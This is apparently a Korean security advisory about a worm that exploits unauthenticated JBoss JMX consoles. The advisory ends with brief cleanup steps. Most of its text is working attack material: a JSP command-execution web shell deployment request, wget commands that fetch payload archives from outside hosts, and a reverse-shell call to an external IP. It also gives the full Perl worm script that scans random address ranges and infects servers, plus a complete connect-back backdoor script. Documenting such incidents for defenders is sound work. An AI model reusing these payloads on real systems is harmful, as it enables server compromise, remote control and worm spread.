지난 10월 20일, 오래된 버전의 JBoss 에서 웜이 돌 수 있다라는 GUERRILA7 의 리포팅이 있었습니다. 디폴트로 설정된 JMX console (/jmx-console) 의 접근 취약성을 이용하여, 원격지의 공격자가 아무런 인증 절차 없이 HTTP 통신을 통하여 서버의 명령어를 실행시킬 수 있었습니다.
1. HEAD /jmx-console/HtmlAdaptor?action=invokeOpByName&name=jboss.admin%3Aservice%3DDeploymentFileRepository&methodName=store&argType=java.lang.String&arg0=zecmd.war&argType=java.lang.String&arg1=zecmd&argType=java.lang.String&arg2=.jsp&argType=java.lang.String&arg3=%3c%25%40%20%70%61%67%65%20%69%6d%70%6f%72%74%3d%22%6a%61%76%61%2e%75%74%69%6c%2e%2a%2c%6a%61%76%61%2e%69%6f%2e%2a%22%25%3e%20%3c%25%20%25%3e%20%3c%48%54%4d%4c%3e%3c%42%4f%44%59%3e%20%3c%46%4f%52%4d%20%4d%45%54%48%4f%44%3d%22%47%45%54%22%20%4e%41%4d%45%3d%22%63%6f%6d%6d%65%6e%74%73%22%20%41%43%54%49%4f%4e%3d%22%22%3e%20%3c%49%4e%50%55%54%20%54%59%50%45%3d%22%74%65%78%74%22%20%4e%41%4d%45%3d%22%63%6f%6d%6d%65%6e%74%22%3e%20%3c%49%4e%50%55%54%20%54%59%50%45%3d%22%73%75%62%6d%69%74%22%20%56%41%4c%55%45%3d%22%53%65%6e%64%22%3e%20%3c%2f%46%4f%52%4d%3e%20%3c%70%72%65%3e%20%3c%25%20%69%66%20%28%72%65%71%75%65%73%74%2e%67%65%74%50%61%72%61%6d%65%74%65%72%28%22%63%6f%6d%6d%65%6e%74%22%29%20%21%3d%20%6e%75%6c%6c%29%20%7b%20%6f%75%74%2e%70%72%69%6e%74%6c%6e%28%22%43%6f%6d%6d%61%6e%64%3a%20%22%20%2b%20%72%65%71%75%65%73%74%2e%67%65%74%50%61%72%61%6d%65%74%65%72%28%22%63%6f%6d%6d%65%6e%74%22%29%20%2b%20%22%3c%42%52%3e%22%29%3b%20%50%72%6f%63%65%73%73%20%70%20%3d%20%52%75%6e%74%69%6d%65%2e%67%65%74%52%75%6e%74%69%6d%65%28%29%2e%65%78%65%63%28%72%65%71%75%65%73%74%2e%67%65%74%50%61%72%61%6d%65%74%65%72%28%22%63%6f%6d%6d%65%6e%74%22%29%29%3b%20%4f%75%74%70%75%74%53%74%72%65%61%6d%20%6f%73%20%3d%20%70%2e%67%65%74%4f%75%74%70%75%74%53%74%72%65%61%6d%28%29%3b%20%49%6e%70%75%74%53%74%72%65%61%6d%20%69%6e%20%3d%20%70%2e%67%65%74%49%6e%70%75%74%53%74%72%65%61%6d%28%29%3b%20%44%61%74%61%49%6e%70%75%74%53%74%72%65%61%6d%20%64%69%73%20%3d%20%6e%65%77%20%44%61%74%61%49%6e%70%75%74%53%74%72%65%61%6d%28%69%6e%29%3b%20%53%74%72%69%6e%67%20%64%69%73%72%20%3d%20%64%69%73%2e%72%65%61%64%4c%69%6e%65%28%29%3b%20%77%68%69%6c%65%20%28%20%64%69%73%72%20%21%3d%20%6e%75%6c%6c%20%29%20%7b%20%6f%75%74%2e%70%72%69%6e%74%6c%6e%28%64%69%73%72%29%3b%20%64%69%73%72%20%3d%20%64%69%73%2e%72%65%61%64%4c%69%6e%65%28%29%3b%20%7d%20%7d%20%25%3e%20%3c%2f%70%72%65%3e%20%3c%2f%42%4f%44%59%3e%3c%2f%48%54%4d%4c%3e&argType=boolean&arg4=True HTTP/1.0
HEAD /jmx-console/HtmlAdaptor?action=invokeOpByName&name=jboss.admin:service=DeploymentFileRepository&methodName=store&argType=java.lang.String&arg0=zecmd.war&argType=java.lang.String&arg1=zecmd&argType=java.lang.String&arg2=.jsp&argType=java.lang.String&arg3=<%@ page import="java.util.*,java.io.*"%> <% %> <HTML><BODY> <FORM METHOD="GET" NAME="comments" ACTION=""> <INPUT TYPE="text" NAME="comment"> <INPUT TYPE="submit" VALUE="Send"> </FORM> <pre> <% if (request.getParameter("comment") != null) { out.println("Command: " + request.getParameter("comment") + "<BR>"); Process p = Runtime.getRuntime().exec(request.getParameter("comment")); OutputStream os = p.getOutputStream(); InputStream in = p.getInputStream(); DataInputStream dis = new DataInputStream(in); String disr = dis.readLine(); while ( disr != null ) { out.println(disr); disr = dis.readLine(); } } %> </pre> </BODY></HTML>&argType=boolean&arg4=True
2. GET /zecmd/zecmd.jsp HTTP/1.0 3. GET /zecmd/zecmd.jsp?comment=wget+http://magicstick.dyndns-remote.com/kisses.tar.gz HTTP/1.0 4. GET /zecmd/zecmd.jsp?comment=tar+xzvf+kisses.tar.gz HTTP/1.0 5. GET /zecmd/zecmd.jsp?comment=perl+linda.pl HTTP/1.0
1. JMX console 의 취약점을 이용하여 백도어 jsp 를 배포시킵니다.
2. 백도어 jsp (zecmd.jsp) 의 정상 동작여부를 확인합니다.
3. 특정 경로에서 공격을 위한 tar.gz 파일 (kisses.tar.gz) 을 다운로드 받습니다.
4. tar.gz 파일의 압축을 해제합니다.
5. perl script (linda.pl) 을 실행시킵니다.
>> linda.pl 에 의해 여러가지 경로로 worm 이 증식을 하게됩니다.
#!/usr/bin/perl # Short and unefficiant poc... use IO::Socket; my $mark=`ps aux | grep /usr/local/jboss/bin/tomcat | grep -v grep`; if(length($mark)>13) { die; } my $processo = "/usr/local/jboss/bin/tomcat"; my $pid=fork; exit if $pid; $0="$processo"." "x16; `make lnx`; system("make lnx"); system("perl flu.pl&"); $zecmd = "HEAD /jmx-console/HtmlAdaptor?action=invokeOpByName&name=jboss.admin%3Aservice%3DDeploymentFileRepository&methodName=store&argType=java.lang.String&arg0=iesvc.war&argType=java.lang.String&arg1=iesvc&argType=java.lang.String&arg2=.jsp&argType=java.lang.String&arg3=%3c%25%40%20%70%61%67%65%20%69%6d%70%6f%72%74%3d%22%6a%61%76%61%2e%75%74%69%6c%2e%2a%2c%6a%61%76%61%2e%69%6f%2e%2a%22%25%3e%20%3c%25%20%25%3e%20%3c%48%54%4d%4c%3e%3c%42%4f%44%59%3e%20%3c%46%4f%52%4d%20%4d%45%54%48%4f%44%3d%22%47%45%54%22%20%4e%41%4d%45%3d%22%63%6f%6d%6d%65%6e%74%73%22%20%41%43%54%49%4f%4e%3d%22%22%3e%20%3c%49%4e%50%55%54%20%54%59%50%45%3d%22%74%65%78%74%22%20%4e%41%4d%45%3d%22%63%6f%6d%6d%65%6e%74%22%3e%20%3c%49%4e%50%55%54%20%54%59%50%45%3d%22%73%75%62%6d%69%74%22%20%56%41%4c%55%45%3d%22%53%65%6e%64%22%3e%20%3c%2f%46%4f%52%4d%3e%20%3c%70%72%65%3e%20%3c%25%20%69%66%20%28%72%65%71%75%65%73%74%2e%67%65%74%50%61%72%61%6d%65%74%65%72%28%22%63%6f%6d%6d%65%6e%74%22%29%20%21%3d%20%6e%75%6c%6c%29%20%7b%20%6f%75%74%2e%70%72%69%6e%74%6c%6e%28%22%43%6f%6d%6d%61%6e%64%3a%20%22%20%2b%20%72%65%71%75%65%73%74%2e%67%65%74%50%61%72%61%6d%65%74%65%72%28%22%63%6f%6d%6d%65%6e%74%22%29%20%2b%20%22%3c%42%52%3e%22%29%3b%20%50%72%6f%63%65%73%73%20%70%20%3d%20%52%75%6e%74%69%6d%65%2e%67%65%74%52%75%6e%74%69%6d%65%28%29%2e%65%78%65%63%28%72%65%71%75%65%73%74%2e%67%65%74%50%61%72%61%6d%65%74%65%72%28%22%63%6f%6d%6d%65%6e%74%22%29%29%3b%20%4f%75%74%70%75%74%53%74%72%65%61%6d%20%6f%73%20%3d%20%70%2e%67%65%74%4f%75%74%70%75%74%53%74%72%65%61%6d%28%29%3b%20%49%6e%70%75%74%53%74%72%65%61%6d%20%69%6e%20%3d%20%70%2e%67%65%74%49%6e%70%75%74%53%74%72%65%61%6d%28%29%3b%20%44%61%74%61%49%6e%70%75%74%53%74%72%65%61%6d%20%64%69%73%20%3d%20%6e%65%77%20%44%61%74%61%49%6e%70%75%74%53%74%72%65%61%6d%28%69%6e%29%3b%20%53%74%72%69%6e%67%20%64%69%73%72%20%3d%20%64%69%73%2e%72%65%61%64%4c%69%6e%65%28%29%3b%20%77%68%69%6c%65%20%28%20%64%69%73%72%20%21%3d%20%6e%75%6c%6c%20%29%20%7b%20%6f%75%74%2e%70%72%69%6e%74%6c%6e%28%64%69%73%72%29%3b%20%64%69%73%72%20%3d%20%64%69%73%2e%72%65%61%64%4c%69%6e%65%28%29%3b%20%7d%20%7d%20%25%3e%20%3c%2f%70%72%65%3e%20%3c%2f%42%4f%44%59%3e%3c%2f%48%54%4d%4c%3e&argType=boolean&arg4=True HTTP/1.0\r\n\r\n"; while(1) { $coin=int(rand(101)); if($coin>49) { $port=8080; } else { $port=80; } $partx=int(rand(255)); $party=int(rand(255)); $sudoku="./pnscan -r JBoss -w \"HEAD / HTTP/1.0\\r\\n\\r\\n\" -t 6400 $partx.$party.0.0/16 $port > /tmp/sess_0088025413980486928597bff$party$partx"; system($sudoku); open FILE, "/tmp/sess_0088025413980486928597bff$party$partx" or die "I cannot live like this!\n"; my @target = <FILE>; close(FILE); foreach $possible (@target) { $possible=~s/\)//; $possible=~s/\(//; $possible=~/(.*)\.(.*)\.(.*)\.(.*)\s\s(.*):\s(.*)$port\s/g; $it="$1.$2.$3.$4"; $it=~s/\s//g; $it=~s/ //g; $it=~s/\t//g; my $crap = new IO::Socket::INET(PeerAddr=>$it, PeerPort=>$port, TimeOut=>120) or goto np; print $crap $zecmd; $page = ""; $page .= $_ while <$crap>; sleep(2); if($page=~/200/||$page=~/500/) { push(@target,$it); } np: close($crap); } foreach $it (@target) { my $sck = new IO::Socket::INET(PeerAddr=>$it, PeerPort=>$port, TimeOut=>120) or goto nta; print $sck "GET /iesvc/iesvc.jsp HTTP/1.0\r\nConnection: Close\r\n\r\n"; $page = ""; $page .= $_ while <$sck>; if($page=~/comments/g) { my $scka = new IO::Socket::INET(PeerAddr=>$it, PeerPort=>$port, TimeOut=>120) or goto nta; print $scka "GET /iesvc/iesvc.jsp?comment=wget+http://207.54.98.242/test/kisses.tar.gz HTTP/1.0\r\nConnection: Close\r\n\r\n"; sleep(3); close($scka); my $sckb = new IO::Socket::INET(PeerAddr=>$it, PeerPort=>$port, TimeOut=>120) or goto nta; print $sckb "GET /iesvc/iesvc.jsp?comment=tar+xzvf+kisses.tar.gz HTTP/1.0\r\nConnection: Close\r\n\r\n"; sleep(1); close($sckb); my $sckd = new IO::Socket::INET(PeerAddr=>$it, PeerPort=>$port, TimeOut=>120) or goto nta; print $sckd "GET /iesvc/iesvc.jsp?comment=perl+linda.pl HTTP/1.0\r\nConnection: Close\r\n\r\n"; sleep(1); close($sck); } nta: close($sck); } }
사례 2 - idssvc
GET /idssvc/idssvc.jsp HTTP/1.0 GET /idssvc/idssvc.jsp?comment=wget+http://webstats.dyndns.info/javadd.tar.gz HTTP/1.0 GET /idssvc/idssvc.jsp?comment=tar+xzvf+javadd.tar.gz HTTP/1.0 GET /idssvc/idssvc.jsp?comment=perl+lindb.pl HTTP/1.0
zecmd 와 마찬가지로 *.tar.gz 의 다운로드를 시도합니다. 그 후 perl script 를 시작시킴으로써 worm 의 증식을 발동시킵니다.
사례 3 - iesvc
GET /iesvc/iesvc.jsp?comment=wget+https%3A%2F%2F203.177.33.156%2Fadmin%2Freverse.txt+--no-check-certificate HTTP/1.1
GET /iesvc/iesvc.jsp?comment=wget+https://203.177.33.156/admin/reverse.txt+--no-check-certificate HTTP/1.1
GET /iesvc/iesvc.jsp?comment=perl+reverse.txt+199.71.215.203+4442 HTTP/1.1 GET /iesvc/iesvc.jsp?comment=find+%2F+-name+done.php HTTP/1.1
시간이 지날수록 변종들이 생겨나고 있습니다. 특정 경로에서 perl script 인 reverse.txt 를 내려받아 실행을 시킵니다.
reverse.txt 는 백도어를 대놓고 심어놓습니다.
#!/usr/bin/perl use IO::Socket; #IRAN HACKERS SABOTAGE Connect Back Shell #code by:LorD #We Are :LorD-C0d3r-NT #Email:LorD@ihsteam.com # #lord@SlackwareLinux:/home/programing$ perl dc.pl #--== ConnectBack Backdoor Shell vs 1.0 by LorD of IRAN HACKERS SABOTAGE ==-- # #Usage: dc.pl [Host] [Port] # #Ex: dc.pl 127.0.0.1 2121 #lord@SlackwareLinux:/home/programing$ perl dc.pl 127.0.0.1 2121 #--== ConnectBack Backdoor Shell vs 1.0 by LorD of IRAN HACKERS SABOTAGE ==-- # #[*] Resolving HostName #[*] Connecting... 127.0.0.1 #[*] Spawning Shell #[*] Connected to remote host # #bash-2.05b# nc -vv -l -p 2121 #listening on [any] 2121 ... #connect to [127.0.0.1] from localhost [127.0.0.1] 32769 #--== ConnectBack Backdoor vs 1.0 by LorD of IRAN HACKERS SABOTAGE ==-- # #--==Systeminfo==-- #Linux SlackwareLinux 2.6.7 #1 SMP Thu Dec 23 00:05:39 IRT 2004 i686 unknown unknown GNU/Linux # #--==Userinfo==-- #uid=1001(lord) gid=100(users) groups=100(users) # #--==Directory==-- #/root # #--==Shell==-- # $system = '/bin/sh'; $ARGC=@ARGV; print "--== ConnectBack Backdoor Shell vs 1.0 by LorD of IRAN HACKERS SABOTAGE ==-- \n\n"; if ($ARGC!=2) { print "Usage: $0 [Host] [Port] \n\n"; die "Ex: $0 127.0.0.1 2121 \n"; } use Socket; use FileHandle; socket(SOCKET, PF_INET, SOCK_STREAM, getprotobyname('tcp')) or die print "[-] Unable to Resolve Host\n"; connect(SOCKET, sockaddr_in($ARGV[1], inet_aton($ARGV[0]))) or die print "[-] Unable to Connect Host\n"; print "[*] Resolving HostName\n"; print "[*] Connecting... $ARGV[0] \n"; print "[*] Spawning Shell \n"; print "[*] Connected to remote host \n"; SOCKET->autoflush(); open(STDIN, ">&SOCKET"); open(STDOUT,">&SOCKET"); open(STDERR,">&SOCKET"); print "--== ConnectBack Backdoor vs 1.0 by LorD of IRAN HACKERS SABOTAGE ==-- \n\n"; system("unset HISTFILE; unset SAVEHIST ;echo --==Systeminfo==-- ; uname -a;echo; echo --==Userinfo==-- ; id;echo;echo --==Directory==-- ; pwd;echo; echo --==Shell==-- "); system($system); #EOF
피해 복구 방법
1. 동작중인 perl 프로세스 종료
현재까지 알려진 worm 은 perl 을 통해 구동이 됩니다. 해당 서버에서 별도의 perl 을 구동하지 않는다면 모든 perl 프로세스를 종료시키시기 바랍니다.
2. 감영된 crontab 제거
# crontab -l
1 1 10 * * /root/.sysdbs
1 1 24 * * /root/.sysync.pl
1 1 10 * * /root/.sysdbs
1 1 24 * * /root/.sysync.pl
# crontab -r
위와 같이 관련 worm 들이 /root/.sys* 로 crontab 에 등록이 되어 있습니다. "crontab -r" 명령어로 제거합니다.